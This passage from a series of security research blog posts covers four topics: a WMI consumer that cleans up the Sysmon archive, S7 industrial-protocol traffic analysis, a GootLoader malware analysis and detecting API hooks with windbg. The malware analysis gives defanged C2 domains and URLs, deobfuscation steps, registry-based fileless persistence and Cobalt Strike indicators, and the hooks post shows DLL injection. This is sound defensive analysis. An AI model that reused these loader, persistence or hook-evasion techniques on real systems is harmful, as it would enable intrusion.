  2. It will be used as a list of files to remove (in FIFO order) until the directory size is back under control.

While getting a list of files is easy through the Get-ChildItem cmdlet, sorting these files from oldest to most recently archived requires some thinking. Where common folders could rely on the file’s CreationTimeUtc property, Sysmon archiving copies this file property over. As a consequence the CreationTimeUtc field is not representative of when a file was archived and relying on it could result in files being incorrectly seen as the oldest archives, causing their premature removal.

Instead of relying on CreationTimeUtc, the alternate LastAccessTimeUtc property provides a more accurate representation of when a file was archived. The following snippet will get all files within the Sysmon archive and order them in a FIFO-like fashion.

$Archived = Get-ChildItem -Path 'C:\\Sysmon\\' -File | Sort-Object -Property LastAccessTimeUtc

Once the archived files listed, the folder size can be computed through the Measure-Object cmdlet.

$Size = ($Archived | Measure-Object -Sum -Property Length).Sum

All that remains to do is then loop the archived files and remove them while the folder exceeds our desired quota.

for($Index = 0; ($Index -lt $Archived.Count) -and ($Size -gt 5GB); $Index++)
{
	$Archived[$Index] | Remove-Item -Force
	$Size -= $Archived[$Index].Length
}

Sysmon & Hard Links

In some situations, Sysmon archives a file by referencing the file’s content from a new path, a process known as hard-linking.

A hard link is the file system representation of a file by which more than one path references a single file in the same volume.

docs.microsoft.com

As an example, the following snippet creates an additional path (hard link) for an executable. Both paths will now point to the same on-disk file content. If one path gets deleted, Sysmon will reference the deleted file by adding a path, resulting in the file’s content having two paths, one of which within the Sysmon archive.

:: Create a hard link for an executable.
C:\>mklink /H C:\Users\Public\NVISO.exe C:\Users\NVISO\Downloads\NVISO.exe
Hardlink created for C:\Users\Public\NVISO.exe <<===>> C:\Users\NVISO\Downloads\NVISO.exe

:: Delete one of the hard links causing Sysmon to archive the file.
C:\>del C:\Users\NVISO\Downloads\NVISO.exe

:: The archived file now has two paths, one of which within the Sysmon archive.
C:\>fsutil hardlink list Sysmon\B99D61D874728EDC0918CA0EB10EAB93D381E7367E377406E65963366C874450.exe
\Sysmon\B99D61D874728EDC0918CA0EB10EAB93D381E7367E377406E65963366C874450.exe
\Users\Public\NVISO.exe

The presence of hard links within the Sysmon archive can cause an edge-case should the non-archive path be locked by another process while we attempt to clean the archive. Should for example a process be created from the non-archive path, removing the archived file will become slightly harder.

:: If the other path is locked by a process, deleting it will result in a denied access.
C:\>del Sysmon\B99D61D874728EDC0918CA0EB10EAB93D381E7367E377406E65963366C874450.exe
C:\Sysmon\B99D61D874728EDC0918CA0EB10EAB93D381E7367E377406E65963366C874450.exe
Access is denied.

Removing hard links is not straight-forward and commonly relies on non-native software such as fsutil (itself requiring the Windows Subsystem for Linux). However, as the archive’s hard link does technically not consume additional storage (the same content is referenced from another path), such files could be ignored given they do not partake in the storage exhaustion. Once the non-archive hard links referencing a Sysmon-archived file are removed, the archived file is not considered a hard link anymore and will be removable again.

To cope with the above edge-case, hard links can be filtered-out and removal operations can be encapsulated in try/catch expressions should other edge-cases exists. Overall, the WMI logical consumer’s logic could look as follow:

$Archived = Get-ChildItem -Path 'C:\\Sysmon\\' -File | Where-Object {$_.LinkType -ne 'HardLink'} | Sort-Object -Property LastAccessTimeUtc
$Size = ($Archived | Measure-Object -Sum -Property Length).Sum
for($Index = 0; ($Index -lt $Archived.Count) -and ($Size -gt 5GB); $Index++)
{
	try
	{
		$Archived[$Index] | Remove-Item -Force -ErrorAction Stop
		$Size -= $Archived[$Index].Length
	} catch {}
}

As we did for the event filter, a WMI consumer can be created through the New-CimInstance cmdlet. The following snippet specifically creates a new CommandLineEventConsumer invoking our above clean-up logic to create a 10GB quota.

$Archive = "C:\\Sysmon\\"
$Limit = 10GB
$Consumer = New-CimInstance -Namespace root/subscription -ClassName CommandLineEventConsumer -Property @{
    Name = 'SysmonArchiveCleaner';
    ExecutablePath = $((Get-Command PowerShell).Source);
    CommandLineTemplate = "-NoLogo -NoProfile -NonInteractive -WindowStyle Hidden -Command `"`$Archived = Get-ChildItem -Path '$Archive' -File | Where-Object {`$_.LinkType -ne 'HardLink'} | Sort-Object -Property LastAccessTimeUtc; `$Size = (`$Archived | Measure-Object -Sum -Property Length).Sum; for(`$Index = 0; (`$Index -lt `$Archived.Count) -and (`$Size -gt $Limit); `$Index++){ try {`$Archived[`$Index] | Remove-Item -Force -ErrorAction Stop; `$Size -= `$Archived[`$Index].Length} catch {}}`""
}

WMI Binding

In the above two sections we defined the event filter and logical consumer. One last point worth noting is that event filters need to be bound to an event consumers in order to become operational. This is done through a __FilterToConsumerBinding instance as shown below.

New-CimInstance -Namespace root/subscription -ClassName __FilterToConsumerBinding -Property @{
    Filter = [Ref]$Filter;
    Consumer = [Ref]$Consumer;
}

Proof of Concept

The following proof-of-concept deployment technique has been tested in limited environments. As should be the case with anything you introduce into your environment, make sure rigorous testing is done and don’t just deploy straight to production.

The following PowerShell script creates a WMI event filter and logical consumer with the logic we defined previously before binding them. The script can be configured using the following variables:

  • $Archive as the Sysmon archive path. To be WQL-compliant, special characters have to be back-slash (\) escaped, resulting in double back-slashed directory separators (\\).
  • $Limit as the Sysmon archive’s desired maximum folder size (see real literals).
  • $Delay as the event filter’s maximum WQL delay value in seconds (WITHIN clause).

Do note that Windows security boundaries apply to WMI as well and, given the Sysmon archive directory is restricted to the SYSTEM user, the following script should be ran using the SYSTEM privileges.

$ErrorActionPreference = "Stop"

# Define the Sysmon archive path, desired quota and query delay.
$Archive = "C:\\Sysmon\\"
$Limit = 10GB
$Delay = 10

# Create a WMI filter for files being created within the Sysmon archive.
$Filter = New-CimInstance -Namespace root/subscription -ClassName __EventFilter -Property @{
    Name = 'SysmonArchiveWatcher';
    EventNameSpace = 'root\cimv2';
    QueryLanguage = "WQL";
    Query = "SELECT * FROM __InstanceCreationEvent WITHIN $Delay WHERE TargetInstance ISA 'CIM_DataFile' AND TargetInstance.Drive='$(Split-Path -Path $Archive -Qualifier)' AND TargetInstance.Path='$(Split-Path -Path $Archive -NoQualifier)' GROUP WITHIN $Delay"
}

# Create a WMI consumer which will clean up the Sysmon archive folder until the quota is reached.
$Consumer = New-CimInstance -Namespace root/subscription -ClassName CommandLineEventConsumer -Property @{
    Name = 'SysmonArchiveCleaner';
    ExecutablePath = (Get-Command PowerShell).Source;
    CommandLineTemplate = "-NoLogo -NoProfile -NonInteractive -WindowStyle Hidden -Command `"`$Archived = Get-ChildItem -Path '$Archive' -File | Where-Object {`$_.LinkType -ne 'HardLink'} | Sort-Object -Property LastAccessTimeUtc; `$Size = (`$Archived | Measure-Object -Sum -Property Length).Sum; for(`$Index = 0; (`$Index -lt `$Archived.Count) -and (`$Size -gt $Limit); `$Index++){ try {`$Archived[`$Index] | Remove-Item -Force -ErrorAction Stop; `$Size -= `$Archived[`$Index].Length} catch {}}`""
}

# Create a WMI binding from the filter to the consumer.
New-CimInstance -Namespace root/subscription -ClassName __FilterToConsumerBinding -Property @{
    Filter = [Ref]$Filter;
    Consumer = [Ref]$Consumer;
}

Once the WMI event consumption configured, the Sysmon archive folder will be kept at reasonable size as shown in the following capture where a 90KB quota has been defined.

Figure 2: A Sysmon archive quota of 90KB removing old files.

With Sysmon archiving under control, we can now happily wait for new attacker tool-kits to be dropped…

Investigating an engineering workstation – Part 4

6 July 2022 at 08:00

Finally, as the last part of the blog series we will have a look at the network traffic observed. We will do this in two sections, the first one will cover a few things useful to know if we are in the situation that Wireshark can dissect the traffic for us. The second section will look into the situation where the dissection is not nicely done by Wireshark.

Nicely dissected traffic

We start by looking into a normal connection setup on Port 102 TCP. Frames number 2 to 4 shown in figure 1 representing the standard three way handshake to establish the TCP connection. If this is done successfully, the COTP (Connection-Oriented Transport Protocol) session is established by sending a connection request (frame 5) and a confirmation of the connection (frame 6). Based on this the S7 communication is setup, as shown in frame 7 and 8.

Figure 1: Connection setup shown in Wireshark

Zooming into frame number 5, we can see the how Wireshark dissects the traffic and provide us with the information that we are dealing with a connect request.

Figure 2: Details of frame number 5

In order to use Wireshark or tshark to filter for these frames we can apply the following display filters:

  • cotp.type == 0x0e # filter for connection requests
  • cotp.type == 0x0d # filter for connection confirmation

Looking into the S7 frames, in this case frame number 7, we can see the communication setup function code sent to the PLC.

Figure 3: Communication setup function code

Apart from the function code for the communication setup (“0xf0”), we can also learn something very important here. The field “Protocol Id” contains the value “0x32”, this is the identifier of the S7 protocol and according to our experience, this protocol id has significant impact if Wireshark can dissect the traffic, like shown above, or not.

With the example of requesting the download of a block (containing logic or variables etc.) we will have a look on how jobs are send to the PLC. By the way, the communication setup is already a job sent to the PLC. To keep the screenshot as clean as possible, the traffic is filtered to only show traffic identified as S7 protocol.

Figure 4: Download a block to a PLC

The IP-address ending with .40 is the PLC and the IP-address ending with .10 is the source of the commands and data. Indicated by the blue background, frames number 43 to 57 represent the download of a block to the PLC. Frames 43 and 44 are initializing the download of the block, in this case a block called “DB1”. We can see that the .10 host is sending a “Job” to the PLC (.40) in frame 43, the PLC acknowledge this job in the next frame (number 44) and starts to download the block in frame 46. So, in essence the PLC is instructed to actively request (download) the block. The block is not pushed to the PLC. This also explains why the term “download to the PLC” is used when a project is transferred form an engineering workstation to a PLC. The download of the block ends with frames 55 and 56, where the corresponding function code is transmitted and acknowledged.

A few handy display filters for Wireshark or tshark:

  • s7comm.header.rosctr == 1 # filter for jobs being requested to be performed
  • s7comm.header.rosctr == 3 # acknowledge of requested jobs
  • s7comm.param.func == 0x1a # downloads being requested/acknowledged
  • s7comm.param.func == 0x1b # download of blocks
  • s7comm.param.func == 0x05 # write a variable
  • s7comm.param.func == 0x04 # read a variable
  • s7comm.param.func == 0xf0 # communication setup, also shown above

In regards of the download of blocks (s7comm.param.func == 0x1b), the actual data is contained in the acknowledge frames send (s7comm.header.rosctr == 3).

Less nicely dissected traffic

Working with nicely dissected traffic in Wireshark or tshark is always a bless. But sometimes we do not have this luxury. The communication between a workstation running TIA Portal version 15.1 and a Siemens Simatic S7-1200 PLC is shown in figure 5.

Figure 5: Traffic between workstation running TIA 15.1 and S7-1200 PLC in Wireshark

A filter was applied to only show the traffic between the workstation and the PLC, you must believe us here that we did not hide the S7 protocol. We can see similarities between this traffic and the traffic discussed earlier: it involves Port 102/TCP and COTP. We might not have the luxury of nicely dissected traffic, but we are not out of luck.

We can use Wireshark’s “Follow TCP Stream” function and the search functionality to look out for some very specific strings. If you are searching for a specific string in a traffic dump, it would be pretty cumbersome to manually follow every TCP stream and use the search field in the resulting window. Thankfully Wireshark offers something better. While you are in the main windows of Wireshark hit “CTRL+f” which will add the search functionality below the display filter area.

Figure 6: Search file in main windows of Wireshark

Above you also can see the choices we have to make in order to search for strings. Key is that we are looking into “Packet bytes” and we are looking into finding a “String”. An example where we searched for the string “ReleaseMngmtRoot” is shown below:

Figure 7: Example of searching “ReleaseMngmtRoot” in frames

You may ask yourself why all this is important. An excellent question we are going to answer now.

Based on our observations we can identify the following actions by analysing the occurrences of specific strings:

  • Download of changes of a block
  • Download of changes to a text list (Text library)
  • Download of the complete software, not only the changes
  • Download of the hardware configuration
Download changes of a block

We will start with the download of changes of a block to the PLC. Below you can see which string occurrences are to be expected and in which direction they are send.

Figure 8: String occurrences for download of changes of a block

The TCP stream view in figure 9 shows the second, third and fourth step. Please be aware that the String “PLCProgramChange” in the schema above refers to the last occurrence which is followed by the next string “DLTransaction”. Traffic in blue is traffic from the PLC to the Workstation and traffic marked with red background is the other direction

Figure 9: Excerpt of TCP stream view showing steps 2,3 and 4

The strings in the “ReleaseMngmtRoot” sections containing some very valuable information as demonstrated in the following screenshot.

Figure 10: TCP Stream View on “ReleaseMngmtRoot” sections

In the blue section the PLC is transmitting its state to the Workstation and the Workstation does the same in the red section. We can actually see the name of the project deployed on the PLC, in this case: “BridgeControl” followed by information on the PLC. For example, “6ES7212-1AE40-0XB0” is the article number of the PLC, which can be used to find more information on it. If you follow along, you can see that the workstation wants to deploy changes taken from a project file called “BridgeControl_Malicious”.

Finding the name of the changed block is possible, but it really helps if you know the names of the possible blocks, as it will be hidden in a lot of characters forming (nonsense) strings. The block changed in our case was “MotorControl”.

Figure 11: Presence of block name in TCP Stream view
Downloading changes for text lists

Figure 12 shows the schema for changes to text lists/libraries, following the same convention as above.

Figure 12: String occurrences for download of changes of a text lists/libraries

Be aware though that “TextLibrary…” is followed by its content, so expect a lot of strings to follow.

Figure 13: TCP stream view showing parts of a downloaded text library
Downloading complete software

Downloading the complete software means that everything is downloaded to the PLC, instead of just the changes.

Figure 14: String occurrences for a complete software download

Please note that the string “PLCProgram” also appears in what we assume is the banner or functions list. But is has been observed at the position shown above only in case of a full software download to the PLC. Of cause “TextLibrary…” is followed by the content of the library, like mentioned previously.

Downloading hardware configuration

The hardware configuration can be downloaded to the PLC together with the software changes or as a single task. In both cases the following schema was observed

Figure 15: String occurrences for a hardware configuration download

Please note that the string “HWConfiguration” also has been observed as part of a TextLibrary.

Figure 16: TCP Steam view of a hardware configuration download

Above excerpt shows the two “ReleaseMngmtRoot” occurrences as well as the occurrence of the “HWConfiguration” string. Again, blue indicating traffic from the PLC to the workstation, red the other direction.

Now if you have followed the post until this section, it is the time to mention that there is at least one dissector available for this version of the protocol. The protocol discussed in the second section is usually referred to as S7commPlus. You can identify it by looking at the location where you would expect the value “0x32” (dissected as field “Protocol Id”), in case of S7commPlus it contains “0x72”.

Figure 17: S7commPlus Protocol ID

The screenshot above was taken from Wireshark with a freely available S7CommPlus dissector installed. Although we are not going to cover the dissector in this blog post, we mentioned it for completeness.

If you like to play around with it, you can find it online at least on https://sourceforge.net/projects/s7commwireshark/ . One word of caution: Use at your own risk. We did not spend much time using this dissector yet. The dissector downloaded from sourceforge comes as a precompiled dll file that needs to be placed in corresponding folder (In our testing: “C:\Program Files\Wireshark\plugins\3.6\epan” as we used Wireshark Version 3.6). Do your own risk assessment when dealing with files like dlls downloaded from the internet.

Conclusion & Outlook

Even if we cannot start our analysis on well dissected traffic, we still can identify specific patterns in the traffic. Of cause this all applies to traffic that is not encrypted, enabling us to have a look into the bits and bytes transferred.

This post marks the end of this series of blog posts. We again like to stress the point that the discussed content is based on testing and observations. There is no guarantee that our testing has been including all possibilities, or for example that different versions of the TIA portal do behave the same way. More research and testing is needed, to learn more on behaviour of software evolved in OT. If we would like to have reached one goal with this series of posts, it would be to have inspired at least one person to perform research in this area and share it with the community.

About the Author

Olaf Schwarz is a Senior Incident Response Consultant at NVISO. You can find Olaf on Twitter and LinkedIn.

You can follow NVISO Labs on Twitter to stay up to date on all out future research and publications.

Analysis of a trojanized jQuery script: GootLoader unleashed

20 July 2022 at 08:00

Update 24/10/202:

We have noticed 2 changes since we published this report 3 months ago.

  1. The code has been adapted to use registry key “HKEY_CURRENT_USER\SOFTWARE\Microsoft\Personalization” instead of “HKEY_CURRENT_USER\SOFTWARE\Microsoft\Phone” (sample SHA256 ed2f654b5c5e8c05c27457876f3855e51d89c5f946c8aefecca7f110a6276a6e)
  2. When the payload is Cobalt Strike, the beacon configuration now contains hostnames for the C2, like r1dark[.]ssndob[.]cn[.]com and r2dark[.]ssndob[.]cn[.]com (all prior CS samples we analyzed use IPv4 addresses).

In this blog post, we will perform a deep analysis into GootLoader, malware which is known to deliver several types of payloads, such as Kronos trojan, REvil, IcedID, GootKit payloads and in this case Cobalt Strike.

In our analysis we’ll be using the initial malware sample itself together with some malware artifacts from the system it was executed on. The malicious JavaScript code is hiding within a jQuery JavaScript Library and contains about 287kb of data and consists of almost 11.000 lines of code. We’ll do a step-by-step analysis of the malicious JavaScript file.

TLDR techniques we used to analyze this GootLoader script:

  1. Stage 1: A legitimate jQuery JavaScript script is used to hide a trojan downloader:
    Several new functions were added to the original jQuery script. Analyzing these functions would show a blob of obfuscated data and functions to deobfuscate this blob.
  2. The algorithm used for deobfuscating this blob (trojan downloader):
    1. For each character in the obfuscated data, assess whether it is at an even or uneven position (index starting at 0)
    1. If uneven, put it in front of an accumulator string
    1. If even, put it at the back of the accumulator string
    1. The result is more JavaScript code
  3. Attempt to download the (obfuscated) payload from one of three URLs listed in the resulting JavaScript code.
    1. This failed due to the payload not being served anymore and we resorted to make an educated guess to search for an obfuscated (as defined in the previous output) “createobject” string on VirusTotal with the “content” filter, which resulted in a few hits.
  4. Stage 2: Decode the obfuscated payload
    1. Take 2 digits
    1. Convert these 2 decimal digits to an integer
    1. Add 30
    1. Convert to ASCII
    1. Repeat till the end
    1. The result is a combination of JavaScript and PowerShell
  5. Extract the JavaScript, PowerShell loader, PowerShell persistence and analyze it to extract the obfuscated .NET loader embedded in the payload
  6. Stage 3: Analyze the .NET loader to deobfuscate the Cobalt Strike DLL
  7. Stage 4: Extract the config from the Cobalt Strike DLL

Stage 1 – sample_supplier_quality_agreement 33187.js

Filename: sample_supplier_quality_agreement 33187.js
MD5: dbe5d97fcc40e4117a73ae11d7f783bf
SHA256: 6a772bd3b54198973ad79bb364d90159c6f361852febe95e7cd45b53a51c00cb
File Size: 287 KB

To find the trojan downloader inside this JavaScript file, the following grep command was executed:

grep -P "^[a-zA-Z0-9]+\("
Fig 1. The function “hundred71(3565)” looks out of place here

This grep command will find entry points that are calling a JavaScript function outside any function definition, thus without indentation (leading whitespace). This is a convention that many developers follow, but it is not a guarantee to quickly find the entry point. In this case, the function call hundred17(3565) looks out of place in a mature JavaScript library like jQuery.

When tracing the different calls, there’s a lot of obfuscated code, the function “color1” is observed Another way to figure out what was changed in the script could be to compare it to the legitimate version[1] of the script and “diff” them to see the difference. The legitimate script was pulled from the jQuery website itself, based on the version displayed in the beginning of the malicious script.

Fig 2. The version of the jQuery JavaScript Library displayed here was used to fetch the original

Before starting a full diff on the entire jQuery file, we first extracted the functions names with the following grep command:

grep 'function [0-9a-zA-Z]'

This was done for both the legitimate jQuery file and the malicious one and allows us to quickly see which additional functions were added by the malware creator. Comparing these two files immediately show some interesting function names and parameters:

Fig 3. Many functions were added by the malware author as seen in this screenshot

A diff on both files without only focusing on the function names gave us all the added code by the malware author.

Color1 is one of the added functions containing most of the data, seemingly obfuscated, which could indicated this is the most relevant function.

Fig 4. Out of all the added functions, “color1()” contains the most amount of data

The has6 variable is of interest in this function, as it combines all the previously defined variables into 1:

Further tracing of the functions eventually leads to the main functions that are responsible for deobfuscating this data: “modern00” and “gun6”

Fig 5. Function modern00, responsible for part of the deobfuscation algorithm
Fig 6. Function gun6, responsible for the modulo part of the deobfuscation algorithm

The deobfuscation algorithm is straightforward:

For each character in the obfuscated string (starting with the first character), add this character to an accumulator string (initially empty). If the character is at an uneven position (index starting from 0), put it in front of the accumulator, otherwise put it at the back. When all characters have been processed, the accumulator will contain the deobfuscated string.

The script used to implement the algorithm would look similar to the following written in Python:

Fig 7. Proof of concept Python script to display how the algorithm functions
Fig 8. Running the deobfuscation script displays readable code

CreateObject, observed in the deobfuscated script, is used to create a script execution object (WScript.Shell) that is then passed the script to execute (first script). This script (highlightd in white) is also obfuscated with JavaScript obfuscation and the same script obfuscation that was observed in the first script.

Deobfuscating that script yields a second JavaScript script. Following, is the second script, with deobfuscated strings and code, and “pretty-printed”:

Fig 9. Pretty printed deobfuscated code

This script is a downloader script, attempting to initiate a download from 3 domains.

  • www[.]labbunnies[.]eu
  • www[.]lenovob2bportal[.]com
  • www[.]lakelandartassociation[.]org

The HTTPS requests have a random component and can convey a small piece of information: if the request ends with “4173581”, then the request originates from a Windows machine that is a domain member (the script determines this by checking for the presence of environment variable %USERDNSDOMAIN%).

The following is an example of a URL:
hxxps://www[.]labbunnies[.]eu/test[.]php?cmqqvfpugxfsfhz=71941221366466524173581

If the download fails (i.e., HTTP status code different from 200), the script sleeps for 12 seconds (12345 milliseconds to be precise) before trying the next domain. When the download succeeds, the next stage is decoded and executed as (another) JavaScript script. Different methods were attempted to download the payload (with varying URLs), but all methods were unsuccessful. Most of the time a TCP/TLS connection couldn’t be established to the server. The times an HTTP reply was received, the body was empty (content-length 0). Although we couldn’t download the payload from the malicious servers, we were able to retrieve it from VirusTotal.

Stage 2 – Payload

We were able to find a payload that we believe, with high confidence, to be the original stage 2. With high confidence, it was determined that this is indeed the payload that was served to the infected machine, more information on how this was determined can be found in the following sections. The payload, originally uploaded from Germany, can be found here: https://www.virustotal.com/gui/file/f8857afd249818613161b3642f22c77712cc29f30a6993ab68351af05ae14c0f

MD5: ae8e4c816e004263d4b1211297f8ba67
SHA-256: f8857afd249818613161b3642f22c77712cc29f30a6993ab68351af05ae14c0f
File Size: 1012.97 KB

The payload consists of digits. To decode it, take 2 digits, add 30, convert to an ASCII character, and repeat this till the end of the payload. This deobfuscation algorithm was deduced from the previous script, in the last step:

Fig 10. Stage 2 acquired from VirusTotal
Fig 11. Deobfuscation algorithm for stage 2

As an example, we’ll decode the first characters of the strings in detail: 88678402

  1. 88 –> 88+30 = 118
Fig 12. ASCII value 118 equals the letter v
  1. 67 –> 67 + 30 = 97
Fig 13. ASCII value 97 equals the letter a
  1. 84 –> 84 + 30 = 114
Fig 14. ASCII value 114 equals the letter r
  1. 02 –> 02+30 = 32
Fig 15. ASCII value 32 equals the symbol “space”

This results in: “var “, which indicates the declaration of a variable in JavaScript. This means we have yet another JavaScript script to analyze.
To decode the entire string a bit faster we can use a small Python script, which will automate the process for us:

Fig 16. Proof of concept Python script to display how the algorithm functions

First half of the decoded string:

Fig 17. Output of the deobfuscation script, showing the first part

Second half of the decoded string:

Fig 18. Output of the deobfuscation script, showing the second part

The same can be done with the following CyberChef recipe, it will take some time, due to the amount of data, but we saw it as a small challenge to use CyberChef to do the same.

#recipe=Regular_expression('User%20defined','..',true,true,false,false,false,false,'List%20matches')Find_/_Replace(%7B'option':'Regex','string':'%5C%5Cn'%7D,'%2030,',true,false,true,false)Fork(',','',false)Sum('Space')From_Charcode('Comma',10)
Fig 19. The CyberChef recipe in action

The decoded payload results in another JavaScript script.
MD5: a8b63471215d375081ea37053b52dfc4
SHA256: 12c0067a15a0e73950f68666dafddf8a555480c5a51fd50c6c3947f924ec2fb4
File size: 507 KB

The JavaScript script contains code to insert an encoded PE file (unmanaged code) and create a key with as value as encoded assembly (“HKEY_CURRENT_USER\SOFTWARE\Microsoft\Phone”) and then launches 2 PowerShell scripts. These 2 PowerShell scripts are fileless, and thus have no filename. For referencing in this document, the PowerShell scripts are named as follows:

  1. powershell_loader: this PowerShell script is a loader to execute the PE file injected into the registry
  2. powershell_persistence: this PowerShell script creates a scheduled task to execute the loader PowerShell script (powershell_loader) at boot time.

Fig 20. Deobfuscated & pretty-printed JavaScript script found in the decoded payload

A custom script was utilized to decode this payload as a whole and extract all separate elements from it (based on the reverse engineering of the script itself). The following is the output of the custom script:

Fig 21. Output of the custom script parsing all the components from the deobfuscated

All the artifacts extracted with this script match exactly with the artifacts recovered from the infected machine. These can be verified with the fileless artifacts extracted from Defender logs, with matching cryptographic hash:

  • Stage 2 SHA256 Script: 12c0067a15a0e73950f68666dafddf8a555480c5a51fd50c6c3947f924ec2fb4
  • Stage 2 SHA256 Persistence PowerShell script (powershell_persistence): 48e94b62cce8a8ce631c831c279dc57ecc53c8436b00e70495d8cc69b6d9d097
  • Stage 2 SHA256 PowerShell script (powershell_loader) contained in Persistence PowerShell script: c8a3ce2362e93c7c7dc13597eb44402a5d9f5757ce36ddabac8a2f38af9b3f4c
  • Stage 3 SHA256 Assembly: f1b33735dfd1007ce9174fdb0ba17bd4a36eee45fadcda49c71d7e86e3d4a434
  • Stage 4 SHA256 DLL: 63bf85c27e048cf7f243177531b9f4b1a3cb679a41a6cc8964d6d195d869093e

Based on this information, it can be concluded, with high confidence, that the payload found on VirusTotal is identical to the one downloaded by the infected machine: all hashes match with the artifacts from the infected machine.

In addition to the evidence these matching hashes bring, the stage 2 payload file also ends with the following string (this is not part of the encoded script): @83290986999722234173581@. This is the random part of the URL used to request this payload. Notice that it ends with 4173581, the unique number for domain joined machines found in the trojanized jQuery script.

Payload retrieval from VirusTotal

Although VirusTotal has reports for several URLs used by this malicious script, none of the reports contained a link to the actual downloaded content. However, using the following query: content:”378471678671496876716986″, the download content (payload) was found on VirusTotal; This string of digits corresponds to the encoding of string “CreateObject”. (see Fig. 20)

In order to attempt the retrieval of the downloaded content, an educated guess was made that the downloaded payload would contain calls to function CreateObject, because such functions calls are also present in the trojanized jQuery script. There are countless files on VirusTotal that contain the string “CreateObject”, but in this particular case, it is encoded with an encoding specific to GootLoader. Each letter of the string “CreateObject” is encoded to its numerical representation (ASCII code), and subtracted with 30. This returns the string “378471678671496876716986”.

Stage 3 – .NET Loader

MD5 Assembly: d401dc350aff1e3fd4cc483238208b43
SHA256 Assembly: f1b33735dfd1007ce9174fdb0ba17bd4a36eee45fadcda49c71d7e86e3d4a434
File Size: 13.50 KB

This .NET loader is fileless and thus has no filename.

The PowerShell loader script (powershell_loader)

  1. extracts the .NET Loader from the registry
  2. decodes it
  3. dynamically loads & executes it (i.e., it is not written to disk).

The .NET Loader is encoded in hexadecimal and stored inside the registry. It is slightly obfuscated: character # has to be replaced with 1000.

The .NET loader:

  1. extracts the DLL (stage 4) from the registry
  2. decodes it
  3. dynamically loads & executes it ( i.e., it is not written to disk).

The DLL is encoded in hexadecimal, but with an alternative character set. This is translated to regular hexadecimal via the following table:

Fig 22. “Test” function that decodes the DLL by using the replace

This Test function decodes the DLL and executes it in memory. Note that without the .NET loader, statistical analysis could reveal the DLL as well. A blog post[2], written by our colleague Didier Stevens on how to decode a payload by performing statistical analysis can offer some insights on how this could be done.

Stage 4 – Cobalt Strike DLL

MD5 DLL: 92a271eb76a0db06c94688940bc4442b
SHA256 DLL: 63bf85c27e048cf7f243177531b9f4b1a3cb679a41a6cc8964d6d195d869093e

This is a typical Cobalt Strike beacon and has the following configuration (extracted with 1768.py)

Fig 23. 1768.py by DidierStevens used to detect and parse the Cobalt Strike beacon

Now that Cobalt Strike is loaded as final part of the infection chain, the attacker has control over the infected machine and can start his reconnaissance from this machine or make use of the post-exploitation functionality in Cobalt Strike, e.g. download/upload files, log keystrokes, take screenshots, …

Conclusion

The analysis of the trojanized jQuery JavaScript confirms the initial analysis of the artifacts collected from the infected machine and confirms that the trojanized jQuery contains malicious obfuscated code to download a payload from the Internet. This payload is designed to filelessly, and with boot-persistence, instantiate a Cobalt Strike beacon.

About the authors

Didier Stevens Didier Stevens is a malware expert working for NVISO. Didier is a SANS Internet Storm Center senior handler and Microsoft MVP, and has developed numerous popular tools to assist with malware analysis. You can find Didier on Twitter and LinkedIn.
Sasja Reynaert Sasja Reynaert is a forensic analyst working for NVISO. Sasja is a GIAC Certified Incident Handler, Forensics Examiner & Analyst (GCIH, GCFE, GCFA). You can find Sasja on LinkedIn.

You can follow NVISO Labs on Twitter to stay up to date on all our future research and publications.


[1]:https://code.jquery.com/jquery-3.6.0.js
[2]:https://blog.didierstevens.com/2022/06/20/another-exercise-in-encoding-reversing/

Finding hooks with windbg

5 August 2022 at 15:06

In this blogpost we are going to look into hooks, how to find them, and how to restore the original functions.

I’ve developed the methods discussed here by myself and they have been proven to be useful for me. I was assigned to evaluate the security and the inner working of a specific application control solution. I needed a practical and easy solution, without too much coding preferably using windbg. For that I wanted to be able to:

  1. Detect the DLL which performs hooking
  2. Detect all the hooks that it sets up
  3. Restore all the previous instructions (before the hook)

What are hooks?

As hooks is the thing we are looking for let’s briefly talk about what hooks actually are and how they look like.

Specifically we will cover MS Detours.

Basically hooking allows you to execute your own code when the target function is called. It was originally developed to extend the functionality of the functions of closed software. When your code is called by the hooked function it’s up to you what to you want to do next. You can for example inspect the arguments and based on that resume the execution of the original target function if you wish.

To better illustrate how a hook looks like, I’m going to use the picture from the “Detours: Binary Interception of Win32 Functions” document.

MS Detours hook
MS Detours hook

The picture above shows trampoline and target functions, before and after insertion of the detour (left and right).

Of course in order for this to be useful the trampoline function would normally end up calling your custom code, before resuming the target function. For us one important thing to notice is the jump instruction at the beginning of the target function. If it’s there this is a good indicator that a function is hooked.

As we can see, a jump instruction is used to hook a target function and replace the first 4 instructions of the original target function. This results in the target function jumping to a trampoline function and the trampoline function executing the original 4 instructions that were replaced. Then, a jump instruction is used again in the trampoline function to resume the execution of the target function after the jump instruction (TargetFunction+5).

If you’re interested in the official documentation you can find it here and here.

The setup

To better demonstrate the concept, I’ve created a few simple programs.

  • begin.exe – Calls CreateProcess API to start myapp.exe.
  • myapp.exe – Simple program that shows a message box.
  • AChook.dll – Application Control hooking DLL. Simple DLL that forbids any execution of CreateProcessA and CreateProcessW APIs.

First, let’s show these programs in action. Let’s run begin.exe:

begin.exe starts and shows a dialogue that halts execution.
begin.exe starts and shows a dialogue that halts execution.

It shows a message box asking to inject a DLL. This halts execution until the “OK” button is clicked and allows us to take our time injecting a DLL if we want to.

myapp.exe is started by begin.exe.
myapp.exe is started by begin.exe.

Then it launches myapp.exe, which just shows another message box asking if you want to launch a virus. Of course myapp.exe is not a virus and just exits after showing the message box (no matter if the user clicks on “Yes” or “No”).

Now let’s run begin.exe again but this time let’s inject the AChook.dll into it while the message box is shown.

begin.exe waiting for user interaction.
begin.exe waiting for user interaction.

We use “Process Hacker” to inject AChook.dll.

Using Process hacker to inject our DLL into begin.exe.
Using Process hacker to inject our DLL into begin.exe.

AChook.dll also prints some additional messages to the console output:

AChook.dll is injected into begin.exe.
AChook.dll is injected into begin.exe.

When we click now on the OK button, myapp.exe does not run anymore and thus the virus message box is no longer shown. Instead additional messages are printed to the console by AChook.dll.

AChook.dll's hook prevented execution of myapp.exe.
AChook.dll‘s hook prevented execution of myapp.exe.

IDENTIFYING THE HOOKING DLL

First we need to identify which DLL is the one that sets the hooks.

To list the loaded DLLs of a running process we use “Process Explorer”.

We select the process begin.exe and press [Ctrl]+[D]:

DLLs loaded by begin.exe in Process Explorer.
DLLs loaded by begin.exe in Process Explorer.

Now we can look for any DLL that looks suspicious. In this case it’s easy because the DLL has the phrase “hook” in its name, which is something that certainly stands out!

